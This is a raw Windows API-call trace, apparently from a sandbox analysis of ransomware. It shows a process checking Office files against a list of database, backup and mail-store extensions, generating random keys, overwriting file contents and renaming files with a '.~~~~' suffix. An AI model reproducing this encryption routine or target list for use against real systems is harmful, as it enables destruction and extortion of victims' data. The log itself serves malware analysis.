	[0140.361] lstrlenW (lpString=".myd") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".myd") returned 0x0
	[0140.361] lstrlenW (lpString=".DTXS") returned 5
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.361] lstrlenW (lpString=".ckp") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".ckp") returned 0x0
	[0140.361] lstrlenW (lpString=".dbt") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dbt") returned 0x0
	[0140.361] lstrlenW (lpString=".db") returned 3
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".db") returned 0x0
	[0140.361] lstrlenW (lpString=".TXT") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".TXT") returned 0x0
	[0140.361] lstrlenW (lpString=".MDF") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".MDF") returned 0x0
	[0140.361] lstrlenW (lpString=".bdb") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".bdb") returned 0x0
	[0140.361] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.398] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.401] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.401] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.401] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26039089776) returned 1
	[0140.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd1731f0, dwHighDateTime=0x1d60e1e)) 
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d458
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d458 | out: hHeap=0x300000) returned 1
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf1f0
	[0140.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0140.401] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.402] GetLastError () returned 0x0
	[0140.402] GetLastError () returned 0x0
	[0140.402] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.402] GetLastError () returned 0x0
	[0140.402] GetLastError () returned 0x0
	[0140.402] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x41f4, lpOverlapped=0x0) returned 1
	[0140.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffbe0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.404] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x41f4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x41f4, lpOverlapped=0x0) returned 1
	[0140.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.405] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.405] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.405] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.405] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.405] CloseHandle (hObject=0x138) returned 1
	[0140.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4e38
	[0140.427] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif.~~~~")) returned 1
	[0140.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4e38 | out: hHeap=0x300000) returned 1
	[0140.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.429] GetLastError () returned 0x0
	[0140.429] RtlWakeConditionVariable () returned 0x365f70
	[0140.429] GetCurrentThreadId () returned 0x9cc
	[0140.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".scr") returned 0x0
	[0140.429] lstrlenW (lpString=".cmd") returned 4
	[0140.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".cmd") returned 0x0
	[0140.429] lstrlenW (lpString=".dll") returned 4
	[0140.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dll") returned 0x0
	[0140.429] lstrlenW (lpString=".bat") returned 4
	[0140.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".bat") returned 0x0
	[0140.429] lstrlenW (lpString=".cpl") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".cpl") returned 0x0
	[0140.430] lstrlenW (lpString=".sys") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".sys") returned 0x0
	[0140.430] lstrlenW (lpString=".msc") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".msc") returned 0x0
	[0140.430] lstrlenW (lpString=".com") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".com") returned 0x0
	[0140.430] lstrlenW (lpString=".lnk") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".lnk") returned 0x0
	[0140.430] lstrlenW (lpString=".msp") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".msp") returned 0x0
	[0140.430] lstrlenW (lpString=".pif") returned 4
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".pif") returned 0x0
	[0140.430] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.448] lstrlenW (lpString=".sqb") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".sqb") returned 0x0
	[0140.448] lstrlenW (lpString=".ost") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".ost") returned 0x0
	[0140.448] lstrlenW (lpString=".txt") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".txt") returned 0x0
	[0140.448] lstrlenW (lpString=".mdt") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".mdt") returned 0x0
	[0140.448] lstrlenW (lpString=".BDB") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".BDB") returned 0x0
	[0140.448] lstrlenW (lpString=".eql") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".eql") returned 0x0
	[0140.448] lstrlenW (lpString=".DBF") returned 4
	[0140.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DBF") returned 0x0
	[0140.448] lstrlenW (lpString=".EQL") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".EQL") returned 0x0
	[0140.449] lstrlenW (lpString=".FDB") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".FDB") returned 0x0
	[0140.449] lstrlenW (lpString=".EDB") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".EDB") returned 0x0
	[0140.449] lstrlenW (lpString=".DACPAC") returned 7
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.449] lstrlenW (lpString=".VHD") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".VHD") returned 0x0
	[0140.449] lstrlenW (lpString=".DBV") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DBV") returned 0x0
	[0140.449] lstrlenW (lpString=".dacpac") returned 7
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.449] lstrlenW (lpString=".sdf") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".sdf") returned 0x0
	[0140.449] lstrlenW (lpString=".accdb") returned 6
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".accdb") returned 0x0
	[0140.449] lstrlenW (lpString=".DBX") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DBX") returned 0x0
	[0140.449] lstrlenW (lpString=".MDT") returned 4
	[0140.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".MDT") returned 0x0
	[0140.449] lstrlenW (lpString=".SQB") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".SQB") returned 0x0
	[0140.450] lstrlenW (lpString=".vhd") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".vhd") returned 0x0
	[0140.450] lstrlenW (lpString=".bac") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".bac") returned 0x0
	[0140.450] lstrlenW (lpString=".mdf") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".mdf") returned 0x0
	[0140.450] lstrlenW (lpString=".BAK") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".BAK") returned 0x0
	[0140.450] lstrlenW (lpString=".BAC") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".BAC") returned 0x0
	[0140.450] lstrlenW (lpString=".dbs") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dbs") returned 0x0
	[0140.450] lstrlenW (lpString=".vhdx") returned 5
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.450] lstrlenW (lpString=".NDF") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".NDF") returned 0x0
	[0140.450] lstrlenW (lpString=".dat") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dat") returned 0x0
	[0140.450] lstrlenW (lpString=".DBS") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DBS") returned 0x0
	[0140.450] lstrlenW (lpString=".CKP") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".CKP") returned 0x0
	[0140.450] lstrlenW (lpString=".edb") returned 4
	[0140.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".edb") returned 0x0
	[0140.451] lstrlenW (lpString=".PST") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".PST") returned 0x0
	[0140.451] lstrlenW (lpString=".dbf") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dbf") returned 0x0
	[0140.451] lstrlenW (lpString=".SQL") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".SQL") returned 0x0
	[0140.451] lstrlenW (lpString=".pst") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".pst") returned 0x0
	[0140.451] lstrlenW (lpString=".dbv") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dbv") returned 0x0
	[0140.451] lstrlenW (lpString=".SDF") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".SDF") returned 0x0
	[0140.451] lstrlenW (lpString=".dtxs") returned 5
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.451] lstrlenW (lpString=".db3") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".db3") returned 0x0
	[0140.451] lstrlenW (lpString=".OST") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".OST") returned 0x0
	[0140.451] lstrlenW (lpString=".dbx") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dbx") returned 0x0
	[0140.451] lstrlenW (lpString=".DB3") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DB3") returned 0x0
	[0140.451] lstrlenW (lpString=".DAT") returned 4
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DAT") returned 0x0
	[0140.451] lstrlenW (lpString=".VHDX") returned 5
	[0140.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.451] lstrlenW (lpString=".ndf") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".ndf") returned 0x0
	[0140.452] lstrlenW (lpString=".DB") returned 3
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DB") returned 0x0
	[0140.452] lstrlenW (lpString=".sql") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".sql") returned 0x0
	[0140.452] lstrlenW (lpString=".MYD") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".MYD") returned 0x0
	[0140.452] lstrlenW (lpString=".DBT") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DBT") returned 0x0
	[0140.452] lstrlenW (lpString=".ACCDB") returned 6
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.452] lstrlenW (lpString=".fdb") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".fdb") returned 0x0
	[0140.452] lstrlenW (lpString=".bak") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".bak") returned 0x0
	[0140.452] lstrlenW (lpString=".myd") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".myd") returned 0x0
	[0140.452] lstrlenW (lpString=".DTXS") returned 5
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.452] lstrlenW (lpString=".ckp") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".ckp") returned 0x0
	[0140.452] lstrlenW (lpString=".dbt") returned 4
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".dbt") returned 0x0
	[0140.452] lstrlenW (lpString=".db") returned 3
	[0140.452] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".db") returned 0x0
	[0140.453] lstrlenW (lpString=".TXT") returned 4
	[0140.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".TXT") returned 0x0
	[0140.453] lstrlenW (lpString=".MDF") returned 4
	[0140.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".MDF") returned 0x0
	[0140.453] lstrlenW (lpString=".bdb") returned 4
	[0140.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".bdb") returned 0x0
	[0140.453] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.453] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.454] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.454] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.455] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26044465660) returned 1
	[0140.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd1e5610, dwHighDateTime=0x1d60e1e)) 
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d3b0
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d3b0 | out: hHeap=0x300000) returned 1
	[0140.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f5180
	[0140.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
